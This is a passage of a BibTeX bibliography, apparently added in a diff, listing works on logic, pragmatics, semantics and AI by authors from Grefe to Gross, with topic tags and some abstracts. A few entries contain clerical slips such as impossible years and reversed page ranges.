best alternative of using the history heuristic with capture + moves in a brute-force search. + } , + topic = {computer-chess;search;connectionist-models;} + } + +@incollection{ grefe:1998a, + author = {Carsten Grefe}, + title = {Fischer {S}ervi's Intuitionistic Modal Logic + Has the Finite Model Property}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {85--98}, + address = {Stanford, California}, + topic = {modal-logic;intuitionistic-logic;finite-model-property;} + } + +@article{ gregg:1967a, + author = {John R. Gregg}, + title = {Finite {L}innaean Structures}, + journal = {Journal of Mathematical Biophysics}, + year = {1967}, + volume = {29}, + pages = {191--206}, + missinginfo = {number}, + topic = {natural-kinds;philosophy-of-biology;taxonomies;} + } + +@phdthesis{ gregoire:1989a, + author = {Eric Gr\'{e}goire}, + title = {Logiques Non Monotones, Programmes Logiques Stratifi\'{e} + et Th\'{e}ories Sceptiques de l'H\'{e}ritage}, + school = {Universit\'{e} de Louvain, Belgium}, + year = {1989}, + topic = {inheritance-theory;nonmonotonic-logic; + stratified-logic-programs;} + } + +@inproceedings{ gregoire:1989b, + author = {Eric Gr\'{e}goire}, + title = {Skeptical Theories of Inheritance and Nonmonotonic Logics}, + booktitle = {Proceedings of the Fourth International + Symposium on Methodologies for Intelligent Systems}, + editor = {Zbigniew Ras}, + publisher = {North Holland}, + address = {Amsterdam}, + year = {1989}, + pages = {430--438}, + topic = {inheritance-theory;nonmonotonic-logic;} + } + +@techreport{ gregoire:1990a, + author = {Eric Gr\'egoire}, + title = {about the Logical Interpretation of Ambiguous Inheritance + Hierarchies}, + institution = {Computer Science Department, University of Maryland}, + number = {CS--TR--2452}, + year = {1990}, + address = {College Park, Maryland}, + topic = {inheritance-theory;} + } + +@techreport{ gregoire:1990b, + author = {Eric Gr\'egoire}, + title = {Skeptical Inheritance Can Be More Expressive}, + institution = {Computer Science Department, University of Maryland}, + number = {CS--TR--90--74}, + year = {1990}, + address = {College Park, Maryland}, + topic = {inheritance-theory;} + } + +@incollection{ gregoire:1991a, + author = {Eric Gr\'egoire}, + title = {Formalizing Pertinance Links in Inheritance Reasoning: + Preliminary Report}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {190--187}, + address = {Berlin}, + topic = {inheritance-theory;} + } + +@article{ gregory:2001a, + author = {Dominic Gregory}, + title = {Completeness and Decidability Results for Some + Propositional Modal Logics Containing `Actually' Operators}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {1}, + pages = {57--78}, + topic = {completeness-theorems;modal-logic;actuality;} + } + +@book{ gregory_h:2000a, + author = {Howard Gregory}, + title = {Semantics}, + publisher = {Routledge}, + year = {2000}, + address = {New York}, + ISBN = {041521610-9 (paperback)}, + topic = {nl-semantics;} + } + +@incollection{ gregory_r:1994a, + author = {Richard Gregory}, + title = {Seeing Intelligence}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {2994}, + editor = {Jean Khalfa}, + pages = {13--26}, + address = {Cambridge, England}, + topic = {vision;cognitive-psychology;} + } + +@article{ greiner:1988a, + author = {Russell Greiner}, + title = {Learning by Understanding Analogies}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {1}, + pages = {81--125}, + topic = {machine-learning;analogy;} + } + +@article{ greiner-etal:1989a, + author = {Russell Greiner and Barbara A. Smith and Ralph W. Wilkerson}, + title = {A Correction to the Algorithm in {R}eiter's Theory of + Diagnosis}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {1}, + pages = {79--88}, + xref = {Commentary on reiter_r:1987a1.}, + topic = {diagnosis;} + } + +@article{ greiner:1991a, + author = {Russell Greiner}, + title = {Finding Optimal Derivation Strategies in Redundant + Knowledge Bases}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {1}, + pages = {95--115}, + acontentnote = {Abstract: A backward chaining process uses a collection + of rules to reduce a given goal to a sequence of database + retrievals. A ``derivation strategy'' is an ordering on these + steps, specifying when to use each rule and when to perform each + retrieval. Given the costs of reductions and retrievals, and + the {\em a priori} likelihood that each particular retrieval + will succeed, one can compute the {\em expected cost} of any + strategy, for answering a specific query from a given knowledge + base. Smith [19] presents an algorithm that finds the minimal + cost strategy in time (essentially) linear in the number of + rules, for any disjunctive, irredundant knowledge base. This + paper proves that the addition of redundancies renders this task + NP-hard. Many Explanation-Based Learning systems work by adding + in redundancies; this shows the complexities inherent in their + task. + } , + topic = {databases;complexity-in-AI;} + } + +@incollection{ greiner-orponen:1991a, + author = {Russell Greiner and Pekka Orponen}, + title = {Probably Approximately Optimal Derivation Strategies}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {277--288}, + address = {San Mateo, California}, + topic = {kr;search;kr-course;} + } + +@incollection{ greiner:1992a, + author = {Russell Greiner}, + title = {Learning Useful {H}orn Approximations}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {383--392}, + address = {San Mateo, California}, + topic = {rule-learning;} + } + +@article{ greiner:1996a, + author = {Russell Greiner}, + title = {{PALO}: A Probabilistic Hill-Climbing Algorithm}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {177--208}, + acontentnote = {Abstract: + Many learning systems search through a space of possible + performance elements, seeking an element whose expected utility, + over the distribution of problems, is high. As the task of + finding the globally optimal element is often intractable, many + practical learning systems instead hill-climb to a local + optimum. Unfortunately, even this is problematic as the learner + typically does not know the underlying distribution of problems, + which it needs to determine an element's expected utility. This + paper addresses the task of approximating this hill-climbing + search when the utility function can only be estimated by + sampling. We present a general algorithm, PALO, that returns an + element that is, with provably high probability, essentially a + local optimum. We then demonstrate the generality of this + algorithm by presenting three distinct applications that + respectively find an element whose efficiency, accuracy or + completeness is nearly optimal. These results suggest + approaches to solving the utility problem from explanation-based + learning, the multiple extension problem from nonmonotonic + reasoning and the tractability/completeness tradeoff problem + from knowledge representation. } , + topic = {machine-learning;nonmonotonic-reasoning;default-logic;} + } + +@article{ greiner-orponen:1996a, + author = {Russell Greiner and Pekka Orponen}, + title = {Probably Approximately Optimal Satisficing Strategies}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {21--44}, + topic = {resource-limited-reasoning;search;} + } + +@article{ greiner-etal:1997a, + author = {Russell Greiner and Adam J. Grove and Alexander Kogan}, + title = {Knowing What Doesn't Matter: Exploiting the Omission + of Irrelevant Data}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {345--380}, + topic = {relevance;diagnosis;} + } + +@article{ greiner:1999a, + author = {Russell Greiner}, + title = {The Complexity of Theory Revision}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {2}, + pages = {175--217}, + topic = {belief-revision;kr-complexity-analysis;} + } + +@article{ greiner-etal:2002a, + author = {Russell Greiner and Adam J. Grove and Dan Roth}, + title = {Learning Cost-Sensitive Active Classifiers}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {2}, + pages = {137--174}, + topic = {PAC-learnability;decision-theory;machine-learning;} + } + +@incollection{ grice:1962a, + author = {H. Paul Grice}, + title = {Some Remarks about the Senses}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {133--153}, + address = {New York}, + topic = {philosophy-of-sensation;} + } + +@incollection{ grice_gp:1986a, + author = {H. Paul Grice}, + title = {Reply to {R}ichards}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {45--106}, + address = {Oxford}, + topic = {philosophy-of-language;implicature;speaker-meaning; + Grice;pragmatics;} + } + +@incollection{ grice_gr:1978a, + author = {G.R. Grice}, + title = {Motive and Reason}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {168--177}, + address = {Oxford}, + topic = {reasons-for-action;motivation;} + } + +@article{ grice_hp-strawson_pf:1956a, + author = {H. Paul Grice and Peter F. Strawson}, + title = {In Defense of a Dogma}, + journal = {Philosophical Review}, + year = {1956}, + volume = {65}, + number = {2}, + pages = {141--158}, + title = {Meaning}, + journal = {Philosophical Review}, + year = {1957}, + volume = {66}, + pages = {377--388}, + note = {Republished in H.P. Grice, Studies in the Way of Words, + Harvard University Press, 1989.}, + missinginfo = {number}, + topic = {speaker-meaning;philosophy-of-language;pragmatics;} + } + +@incollection{ grice_hp:1957a2, + author = {H. Paul Grice}, + title = {Meaning}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {53--65}, + address = {Cambridge, England}, + xref = {Original publication: grice:1957a1.}, + topic = {speaker-meaning;philosophy-of-language;pragmatics;} + } + +@article{ grice_hp:1961a, + author = {H. Paul Grice}, + title = {The Causal Theory of Perception}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1961}, + volume = {35}, + pages = {121--152}, + missinginfo = {number}, + topic = {phenomenalism;implicature;pragmatics;} + } + +@unpublished{ grice_hp:1967a1, + author = {H. Paul Grice}, + title = {Logic and Conversation}, + year = {1967}, + note = {(The William James Lectures, delivered at Harvard University in + 1967, and thereafter distributed in unpublished form for many + years. Portions published in 1975 and 1978. The whole published, + with revisions, in 1989; see \cite{grice_hp:1989a}.)}, + xref = {Republications: grice_hp:1967a2.}, + topic = {implicature;pragmatics;philosophy-of-language;} + } + +@incollection{ grice_hp:1967a2, + author = {H. Paul Grice}, + title = {Logic and Conversation}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {64--75}, + address = {Encino, California}, + xref = {Original Appearance: grice_hp:1967a1.}, + topic = {implicature;pragmatics;philosophy-of-language;} + } + +@article{ grice_hp:1968a, + author = {H. Paul Grice}, + title = {Utterer's Meaning, Sentence-Meaning, and Word-Meaning}, + journal = {Foundations of Language}, + year = {1968}, + volume = {4}, + pages = {225--242}, + missinginfo = {number}, + topic = {speaker-meaning;pragmatics;} + } + +@article{ grice_hp:1969a, + author = {H. Paul Grice}, + title = {Utterer's Meaning and Intentions}, + journal = {The Philosophical Review}, + year = {1978}, + volume = {78}, + pages = {147--177}, + missinginfo = {number}, + topic = {speaker-meaning;pragmatics;} + } + +@unpublished{ grice_hp:1970a, + author = {H. Paul Grice}, + title = {Probability, Desirability, and Mood Operators}, + year = {1970}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a wild guess.}, + topic = {desire;evaluative-terms;nl-mood;} + } + +@unpublished{ grice_hp:1970b, + author = {H. Paul Grice}, + title = {Some Reflections about Ends and Happiness}, + year = {1970}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a wild guess.}, + topic = {desire;} + } + +@article{ grice_hp:1971a, + author = {H. Paul Grice}, + title = {Intention and Uncertainty}, + journal = {Proceedings of the British Academy}, + year = {1971}, + volume = {57}, + pages = {263--279}, + missinginfo = {number}, + topic = {intention;} + } + +@incollection{ grice_hp:1975a1, + author = {H. Paul Grice}, + title = {Logic and Conversation}, + booktitle = {Syntax and Semantics 3: Speech Acts}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole and Jerry Morgan}, + pages = {64--75}, + address = {New York}, + xref = {Also in grice:1975a1}, + topic = {implicature;pragmatics;philosophy-of-language;} + } + +@incollection{ grice_hp:1975a2, + author = {H. Paul Grice}, + title = {Logic and Conversation}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert Harman}, + pages = {64--75}, + address = {Encino, California}, + xref = {Also in grice:1975a1}, + topic = {implicature;pragmatics;philosophy-of-language;} + } + +@incollection{ grice_hp:1978a, + author = {H. Paul Grice}, + title = {Further Notes on Logic and Conversation}, + booktitle = {Syntax and Semantics 9: Pragmatics}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole}, + pages = {113--127}, + address = {New York}, + topic = {implicature;pragmatics;philosophy-of-language;} + } + +@incollection{ grice_hp:1981a, + author = {H. Paul Grice}, + title = {Presupposition and Conversational Implicature}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {183--198}, + address = {New York}, + topic = {pragmatics;implicature;presupposition;} + } + +@incollection{ grice_hp:1982a, + author = {H. Paul Grice}, + title = {Meaning Revisited}, + booktitle = {Mutual Knowledge}, + publisher = {Academic Press}, + year = {1982}, + editor = {N.V. Smith}, + pages = {223--243}, + address = {London}, + topic = {speaker-meaning;pragmatics;} + } + +@book{ grice_hp:1989a, + author = {H. Paul Grice}, + title = {Studies in the Way of Words}, + publisher = {Harvard University Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + xref = {Review: neale:1992a.}, + topic = {implicature;speaker-meaning;philosophy-of-language; + pragmatics;} + } + +@book{ grice_hp:2001a, + author = {H. Paul Grice}, + title = {Aspects of Reason}, + publisher = {Oxford University Press}, + year = {2001}, + address = {Oxford}, + ISBN = {019824252-2}, + topic = {philosophy-of-reasoning;philosophical-psychology; + practical-reasoning;} + } + +@article{ griffin:2001a, + author = {Nicholas Griffin}, + title = {Review of {\it {B}ertrand {R}ussell on Modality and + Logical Relevance}, by Jan Dejno\v{z}ka}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {289--294}, + xref = {Review of: dejnozka:1999a.}, + topic = {Russell;modal-logic;modality;relevance-logic;} + } + +@article{ griffith_ak:1974a, + author = {Arnold K. Griffith}, + title = {A Comparison and Evaluation of Three Machine Learning + Procedures as Applied to the Game of Checkers}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {2}, + pages = {137--148}, + topic = {fame-playing;machine-learning;} + } + +@book{ griffith_n-todd:1999a, + editor = {Niall Griffith and Peter M. Todd}, + title = {Musical Networks: Parallel Distributed Perception and + Performance}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0262071819 (hardcover)}, + contentnote = {TC: + 1. Ian Taylor and Mike Greenhough, "Modelling Pitch Perception + with Adaptive Resonance Theory Artificial Neural Networks" + 2. Niall Griffith, "Development of tonal centres and abstract + pitch as categorizations of pitch use" + 3. Michael A. Casey, "Understanding musical sound with + forward models and physical models" + 4. Edward W. Large and John F. Kolen, "Resonance and the + perception of musical meter" + 5. Stephen W. Smoliar, "Modeling musical perception: a critical + view" + 6. S.W. Peter Desain and Henkjan Honing, "Reply to Smoliar's + 'Modelling Musical Perception: A Critical View'" + 7. Stephen Grossberg, "Pitch-based streaming in auditory + perception" + 10. Robert O. Gjerdingen, "Apparent motion in music?" + 11. Michael P.A. Page, "Modelling the perception + of musical sequences with self-organizing neural + networks" + 12. Bruce F. Katz, "Ear for melody" + 13. Michael C. Mozer, "Neural network music composition by + prediction : exploring the benefits of psychoacoustic + contraints and multi-scale processing" + 14. Matthew I. Bellgard and C.P. Tsang, "Harmonizing music the + Boltzmann way" + 15. Edward W. Large and Caroline Palmer and Jordan B. Pollack, + "Reduced memory representations for music" + 16. Peter M. Todd and Gregory M. Werner, "Frankensteinian + methods for evolutionary music composition" + 17. Shumeet Baluja, Dean Pomerleau and Todd Jochem, "Towards + automated artificial evolution for computer-generated + images" + 18. Garrison W. Cottrell, "Connectionist air guitar: a dream + come true" + } , + topic = {AI-and-music;connectionist-models;connectionism;} + } + +@book{ griffiths_pe:1997a, + author = {Paul E. Griffiths}, + title = {What Emotions Really Are}, + publisher = {University of Chicago Press}, + year = {1997}, + address = {Chicago, Illinois}, + topic = {emotion;} + } + +@book{ griffor:1998a, + editor = {Edward R. Griffor}, + title = {Handbook of Computability Theory}, + publisher = {North-Holland}, + year = {1998}, + address = {Amsterdam}, + ISBN = {0-444-898824-4}, + contentnote = {TC: + 1. R.I. Soare, "The History and Concept of Computability", + 2. D. Cenzer, "01 Classes of Recursion Theory" + 3. P. Oddifreddi, "Reducibility" + 4. S.B. Cooper, "Local Degree Theory" + 5. T.A. Slaman, "The Global Structure of the {T}uring + Degrees", + 6. R.A. Shore, "The Recursively Enumerable Degrees" + 7. R.I. Soare, "An Overview of the Computably Enumerable Sets" + 8. D. Normann, "The Continuous Functionals" + 9. C.T. Chong and S.D. Friedman, "Ordinal Recursion Theory" + 10. G.E. Sacks, "E-Recursion" + 11. P.G. Hinman, "Recursion on Abstract Structures" + 12. V. Stoltenberg-Hansen and J.V. Tucker, "Computable Rings + and Fields" + 13. M.B. Pour-El, "The Structure of Computability" + 14. Y.I. Ershov, "Theory of Numberings" + 15. T.S. Millar, "Pure Recursive Model Theory" + 16. H. Schwichtenberg, "Classifying Recursive Functions" + 17. P. Clote, "Computation Models and Function Algebras" + 18. K. Ambros-Spies, "Polynomial Time Reducibilites and + Degrees" + }, + topic = {computability;recursion-theory;} + } + +@incollection{ grifton:1996a, + author = {Peter Grifton}, + title = {Introduction}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {43--44}, + note = {To two essays by {A}rhur {P}rior on Temporal Realism}, + address = {Oxford}, + topic = {temporal-logic;Prior;} + } + +@article{ grim:1984a, + author = {Patrick Grim}, + title = {There is No Set of All Truths}, + journal = {Analysis}, + year = {1984}, + missinginfo = {number, volume, pages}, + topic = {foundations-of-possible-worlds;intensional-paradoxes;} + } + +@book{ grim-merrill:1988a, + editor = {Robert Grimm and D. Merrill}, + title = {Contents of Thought}, + publisher = {University of Arizona Press}, + year = {1988}, + address = {Tucson, Arizona}, + topic = {propositional-attitudes;} + } + +@book{ grim-etal:1998a, + editor = {Patrick Grim and Gary Mat and Paul {St. Denis} + and the Group for Logic and Formal Semantics}, + title = {The Philosophical Computer: Exploratory Essays in + Philosophical Computer Modeling}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + xref = {Review: hajek_p:2000a.}, + topic = {philosophy-education;computational-philosophy;} + } + +@article{ grim:1999a, + author = {Patrick Grim}, + title = {Review of {\it A First Course in Fuzzy Logic}, + by {H}ung {T}. {N}guyen and {E}lbert {A}. {W}alker}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {439--441}, + xref = {Review of: nguyen-walker_ea:1997a.}, + topic = {fuzzy-logic;} + } + +@article{ grim:2001a, + author = {Patrick Grim}, + title = {Review of {\it Language, Proof and Logic,} by {J}on + {B}arwise and {J}ohn {E}tchemendy}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {3}, + pages = {377--379}, + xref = {Review of barwise-etchemendy:1999a.}, + topic = {logic-intro;logic-courseware;kr-course;} + } + +@book{ grimes:1975a, + author = {Joseph E. Grimes}, + title = {The Thread of Discourse}, + publisher = {Mouton}, + year = {1972}, + address = {The Hague}, + topic = {discourse;pragmatics;} +} + +@unpublished{ grimm:1978a, + author = {Robert Grimm}, + title = {Quantifiers, Singular Terms, and Sentences about + Believing}, + year = {1978}, + note = {Unpublished manuscript, Oberlin College}, + missinginfo = {Date is a guess.}, + topic = {reference;belief;} + } + +@inproceedings{ grimshaw:1987a, + author = {Jane Grimshaw}, + title = {Unaccusatives: An Overview}, + booktitle = {{NELS 17}: Proceedings of the Seventeenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + year = {1987}, + editor = {Joyce McDonough and B. Plunkett}, + publisher = {GLSA Publications}, + address = {Amherst, Massachusetts}, + missinginfo = {A's 1st name, pages}, + topic = {unaccusatives;} + } + +@book{ grimshaw:1990a, + author = {Jane Grimshaw}, + title = {Argument Structure}, + publisher = {{MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {argument-structure;} + } + +@incollection{ grimshaw-vikner:1993a, + author = {Jane Grimshaw and Sten Vikner}, + title = {Obligatory Adjuncts and the Structure of Events}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {143--155}, + address = {Dordrecht}, + topic = {events;argument-structure;adjuncts;} + } + +@incollection{ grimshaw-williams_e:1993a, + author = {Jane Grimshaw and Edwin Williams}, + title = {Nominalization and Predicative Prepositional Phrases}, + booktitle = {Semantics and the Lexicon}, + year = {1993}, + editor = {James Pustejovsky}, + publisher = {Kluwer Academic Publishers}, + pages = {97--105}, + topic = {nominalization;} + } + +@book{ grimson-patil:1987a, + editor = {W. Eric L. Grimson and Ramesh Patil}, + title = {{AI} in the 1980s and Beyond: An {MIT} Survey}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + topic = {AI-survey;} + } + +@article{ grishman-hirschman:1978a, + author = {Ralph Grishman and Lynette Hirschman}, + title = {Question Answering from Natural Language Medical Data + Bases}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {1--2}, + pages = {25--43}, + topic = {question-answering;nl-processing;} + } + +@book{ grishman:1986a, + author = {Ralph Grishman}, + title = {Computational Linguistics: An Introduction}, + publisher = {Cambridge University Press}, + year = {1986}, + address = {Cambridge, England}, + topic = {nlp-intro;} + } + +@article{ groenendijk-stokhof:1975a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Modality and Conversational Information}, + journal = {Theoretical Linguistics}, + year = {1975}, + volume = {2}, + number = {1/2}, + pages = {61--122}, + topic = {nl-modality;} + } + +@book{ groenendijk-stokhof:1976a, + editor = {Jeroen Groenendijk and Martin Stokhof}, + title = {Proceedings of the {A}msterdam Colloquium On {M}ontague + Grammar and Related Topics, January 1976}, + publisher = {Centrale Interfaculteit, Universiteit van Amsterdam}, + year = {1976}, + address = {Amsterdam}, + ISBN = {079234376X (hc : acid-free paper)}, + topic = {Montague-grammar;nl-semantics;} + } + +@incollection{ groenendijk-stokhof:1980a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {A Pragmatic Analysis of Specificity}, + booktitle = {Ambiguities in Intensional Contexts}, + publisher = {D. Reidel Publishing Company}, + year = {1980}, + editor = {Frank Heny}, + pages = {153--190}, + address = {Dordrecht}, + topic = {specificity;definiteness;intensionality;} + } + +@book{ groenendijk-etal:1981a, + editor = {Jeroen A.G. Groenendijk and Theo M.V. Janssen and Martin + B.J. Stokhof}, + title = {Formal Methods in the Study of Language: Proceedings of the + 3rd {A}msterdam {C}olloquium on Formal Methods in the Study of + Language}, + publisher = {Mathematisch Centrum}, + year = {1981}, + address = {Amsterdam}, + ISBN = {9061962110}, + topic = {nl-semantics;pragmatics;} + } + +@article{ groenendijk-stokhof:1982a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Semantic Analysis of Wh-Complements}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {2}, + pages = {175--234}, + topic = {nl-semantics;relative-clauses;interrogatives;} + } + +@book{ groenendijk-etal:1984a, + editor = {Jeroen Groenendijk and Theo M.V. Janssen and Martin Stokhof}, + title = {Truth, Interpretation, and Information: Selected Papers + from the Third {A}msterdam Colloquium}, + publisher = {Foris Publications}, + year = {1984}, + address = {Dordrecht}, + ISBN = {9067650013}, + topic = {nl-semantics;} + } + +@incollection{ groenendijk-stokhof:1984a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {On the Semantics of Questions and the Pragmatics of + Answers}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {143--170}, + address = {Dordrecht}, + topic = {nl-semantics;interrogatives;} + } + +@book{ groenendijk-etal:1986a, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + title = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + address = {Dordrecht}, + ISBN = {9067652660}, + ISBN = {9067652679 (pbk.)}, + topic = {discourse-representation-theory;pragmatics;} + } + +@book{ groenendijk-etal:1986b, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + title = {Foundations of Pragmatics and Lexical Semantics: Selection + of Papers Presented at the Fifth {A}msterdam {C}olloquium, + {A}ugust, 1984}, + publisher = {Foris}, + year = {1986}, + address = {Dordrecht}, + ISBN = {9067652652 (pbk.)}, + topic = {nl-semantics;pragmatics;lexical-semantics;} + } + +@book{ groenendijk-etal:1987a, + editor = {Jeroen Groenendijk and Martin Stokhof and Frank Veltman}, + title = {Proceedings of the Sixth {A}msterdam Colloquium April 13--16 1987}, + publisher = {Institute for Language, Logic and Information, + University of Amsterdam}, + year = {1987}, + address = {Amsterdam}, + ISBN = {0937073555 (v. 1)}, + topic = {nl-semantics;} +} + +@techreport{ groenendijk-stokhof:1987a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Type-Shifting Rules and The Semantics of Interrogatives}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {87-01}, + year = {1987}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {interrogatives;nl-semantic-types;} + } + +@incollection{ groenendijk-stokhof:1988a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Shifting Rules and the Semantics of Interrogatives}, + booktitle = {Properties, Types and Meaning, Vol. 2}, + year = {1988}, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + publisher = {Kluwer Academic Publishers}, + pages = {21--68}, + address = {Dordrecht}, + topic = {nl-semantics;interrogatives;polymorphism;nl-semantic-types;} + } + +@techreport{ groenendijk-stokhof:1988b, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Context and Information in Dynamic Semantics}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--88--08}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {context;dynamic-semantics;dynamic-logic;information-flow-theory;} + } + +@techreport{ groenendijk-stokhof:1991a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Dynamic {M}ontague Grammar}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--90--02}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {Montague-grammar;dynamic-logic;} + } + +@article{ groenendijk-stokhof:1991b, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Dynamic Predicate Logic}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {1}, + pages = {39--100}, + topic = {dynamic-logic;dynamic-predicate-logic;} + } + +@inproceedings{ groenendijk-etal:1995a, + author = {Jeroen Groenendijk and Martin Stokhof and Frank Veltman}, + title = {Coreference and Contextually Resticted Quantifiers}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {112--129}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;nl-quanfifiers;anaphora;} + } + +@incollection{ groenendijk-etal:1996a, + author = {Jeroen Groenendijk and Martin Stockhof and Frank Veltman}, + title = {Coreference and Modality}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {179--213}, + topic = {quantifying-in-modality;} + } + +@unpublished{ groenendijk-stokhof:2001a, + author = {Jeroen Groenendijk and Martin Stokhof}, + title = {Meaning in Motion}, + year = {2000}, + note = {Available at http://turing.wins.uva.nl/~stokhof/.}, + topic = {dynamic-semantics;} + } + +@article{ groeneveld:1994a, + author = {Willem Groeneveld}, + title = {Dynamic Semantics and Circular Propositions}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {3}, + pages = {267--306}, + topic = {dynamic-logic;} + } + +@article{ groenink:1997a, + author = {Annius V. Groenink}, + title = {Mild Context-Sensitivity and Tuple-Based Generalizations + of Context-Grammar}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {6}, + pages = {607--636}, + topic = {extensions-of-context-free-grammar;grammar-formalisms;} + } + +@incollection{ gropen-etal:1992a, + author = {Jess Gropen and Steven Pinker and Michelle Hollander and + Richard Goldberg}, + title = {Affectedness and Direct Objects: The Role of Lexical + Semantics in the Acquisition of Verb Argument Structure}, + booktitle = {Lexical and Conceptual Semantics}, + publisher = {Blackwell Publishers}, + year = {1992}, + editor = {Beth Levin and Steven Pinker}, + pages = {153--195}, + address = {Oxford}, + topic = {argument-structure;thematic-roles;verb-semantics;} + } + +@unpublished{ grosof:1990a, + author = {Benjamin N. Grosof}, + title = {Monotoniticies of Updating}, + year = {1990}, + note = {Unpublished manuscript, IBM T.J. Watson Research Center}, + topic = {nonmonotonic-logic;belief-revision;} + } + +@techreport{ gross_d-etal:1989a, + author = {Derek Gross and Judy Kegl and Patricia Gildea and + George A. Miller}, + title = {A Coded Corpus and Commentary on Children's 